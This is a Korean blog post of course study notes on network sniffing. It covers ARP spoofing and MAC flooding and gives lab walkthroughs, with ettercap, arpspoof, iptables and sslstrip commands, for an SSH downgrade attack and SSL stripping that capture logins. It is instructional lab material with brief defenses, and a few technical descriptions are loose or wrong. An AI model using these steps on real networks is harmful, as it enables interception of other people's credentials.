본문으로 바로가기
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

3. 네트워크 해킹과 보안


4.1) Sniffing


▣ Sniffing이란?

- 사전적 의미로는 "킁킁거리다" == 도청을 의미.

- 수동적(Passive) 공격

☞ Spoofing은 능동적(active) : 행동을 따로 해줘야함.

- Promiscuous Mode : 내것이 아닌 남의 정보도 훔쳐보는 모드

☞ WireShark 설치 시 설치한 wincap이 이 모드를 활성화 해줌.

- Tool : WireShark, TCPdump, Ettercap ...


▣ 계층 별 sniffing

- 1 계층에서의 hub에서는 전체에게 패킷을 뿌리므로 Promiscuous 모드만 활성화 되어있다면 sniffing 가능.

- 2 계층에서는 MAC Spoofing으로 뚫어줘야함.

- 3 계층에서는 IP Spoofing으로 뚫어줘야함.


▣ Sniffing 기법

- MAC Flooding 공격

☞ 2 계층인 Switch 환경하에서 sniffing

☞ 위조된 MAC(MAC Spoofing)을 지속적으로 발생시켜 스위치의 ARP Table 혼란시킴

☞ 바뀔때마다 계속해서 추가해나가면서 과부하가 걸림 (터짐)

☞ Dummy 허브와 같이 모든 port에 브로드캐스팅! --> 허브처럼 작동함.

- ARP Spoofing 공격

- ARP Redirect 공격

☞ ARP Spoofing이 특정 한 대상에게만 ARP Reply 패킷을 보낸것이라면

☞ ARP Redirect는 전체에게 ARP Spoofing을 함. 

☞ 공격자가 G/W로 위장하여 네트워크 상에 변조된 정보를 브로드캐스팅함.

☞ 해커의 컴퓨터가 과부하로 인해 뻗고 다시 재부팅을 하고 반복해서 인터넷이 되다가 안되다가 하는 공격임.

☞ 은행에 매우 치명적.


▣ Sniffing Tool

- Ettercap을 사용.

- 칼리리눅스에는 내장되어 있음.

- 필수 요소 : 리눅스(libpcap), 윈도우(winpcap)..

- 스니핑 모드 : Unified (단일 NIC (Network Interface Card)에서 스니핑)

  Bridged (Inline 방식으로 분석후 전달)


4.2) SSH Sniffing


▣ SSH

- SSH란?

☞ 원격 컴퓨터에 안전하게 액세스하기 위한 유닉스 기반의 명령, 인터페이스 및 프로토콜

☞ 패킷이 암호화되어 전송, Telnet과 같은 평문통신 프로그램을 대체.

☞ 암호화 되기때문에 sniffing된다 하더라도 해독키 없이 내용파악이 어려움.


- SSH 암호화

1. 개인키와 공개키를 만든다.

2. 공개키를 공개한다.                            3. 비밀키를 만든다.

5. 개인키로 비밀키를 해석한다.                   4. 공개키로 비밀키를 암호화한다.

6. 비밀키로 데이터를 암호화해 주고 받는다.

☞ 원래 통신

☞ 해커 개입

▣ SSH 프로토콜

- SSH 1

☞ Public key를 이용하여 Session key를 암호화하는 방식을 사용.

☞ MITM 공격에 취약

- SSH 2

☞ Diffie-Hellman 방식의 암호화를 사용

☞ 안전하다.

- SSH 1과 SSH 2를 모두 지원하는 서버의 경우

☞ Version Negotiation 과정이 Clear Text로 노출되어 위험.

☞ 강제적으로 SSH1을 선택하게끔 만들어서 그 다음에 훔쳐봄.


- 정상 버전의 SSH connection


- 해커 개입 SSH Downgrade Attack

▣ SSH Downgrade Attack!

- 실습 환경

☞ 공격자 : Kali linux

☞ 희생자 : Windows 10

☞ server : CentOS


[사전 설정]

- Kali linux : SSH Version 협상 시 Version 정보 변경을 위한 filter 생성.

# cd /usr/share/ettercap

# etterfilter etter.filter.ssh -o etter.filter.ssh.co  :  컴파일

- CentOS : Linux Server SSH 설정  -> 기본적으로 2만 지원하게 되어있어 둘다 지원하도록 변경.

# vi /etc/ssh/sshd_config

: protocol 2  --> protocol 1,2

# service sshd restart  :  데몬 재시작


[Attack!!!]

- Kali에서 ettercap GUI 구동

# ettercap -G

- Sniff -> Unified sniffing -> eth0 선택

- 스캔하기 : Hosts -> Scan for hosts

- 목록보기 : Hosts -> Hosts list

- Target 1 : 접속하는 os IP (희생자 윈도우)

  Target 2 : 서버 IP (CentOS)

- ARP Spoofing : Mitm -> ARP Poisoning

☞ Sniff remote connections 만 체크.

- 필터 적용 : Filters -> Load a filter (아까 생성한 .co 파일 선택)

- 스니핑 시작 : start -> Start Sniffing


- putty에서 ssh 원격 접속으로 CentOS에 접속하면 ettercap에 아이디와 패스워드가 출력됨.


▣ SSH Downgrade Attack 보안 방안

- 정적인 ARP 테이블 사용

- SSH의 버전을 2만 사용하게 함.

- 주기적인 네트워크 모니터링.



4.2) SSH Sniffing


▣ SSL이란?

- 사이버 공간에서 전달되는 정보의 안전한 소통을 위해 넷스케이프사가 정한 인터넷 통신규약 프로토콜.

- 쉽게 말해, http가 평문 통신이라서 안전하지 않아서 조금더 안전하게 암호화를 사용하여 https로 접속하게 하는 프로토콜.

- HTTP == TCP(HTTP)라면 HTTPS == TCP(SSL(HTTP)) 로 한번더 감싸주고 있는 느낌.

- 서버가 SSL로 접속하라하면 클라이언트는 을이기때문에 SSL로 접속해야만 함.


▣ SSL Sniffing

- 정상 SSL Connection

- SSL Sniffing


▣ Tool

- SSLstrip

☞ 파이썬 언어 사용.

- 실습 환경

☞ 희생자 : Windows 10

☞ 해커 : Kali Linux


▣ SSL Sniffing

1. SSLstrip Tool을 얻고 해커의 IP 포워딩을 설정. (해커를 통해 지나가도 인터넷이 잘 사용되도록...)

# echo 1 > /proc/sys/net/ipv4/ip_forward

☞ 1 : 사용을 하겠다. / 0 : 사용을 하지 않겠다.

2. 희생자와 게이트웨이 통신 MITM을 위해 ARP Spoofing... (끄면 안됨)

# arpspoof -i [interface] -t [희생자IP] [게이트웨이IP]

3, 새로운 터미널로 희생자 통신 대체 포트 설정.

# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000


4. SSLstrip 실행 (끄면 안됨)

# python sslstrip.py -w [저장할 파일명] -l 10000 

5. 실시간으로 정보확인

# tail -f [파일명]


▣ 보안 방안

- 백신 사용

- 다른 암호화 기법 적용.









i2sec 대구지점 23기 수료생.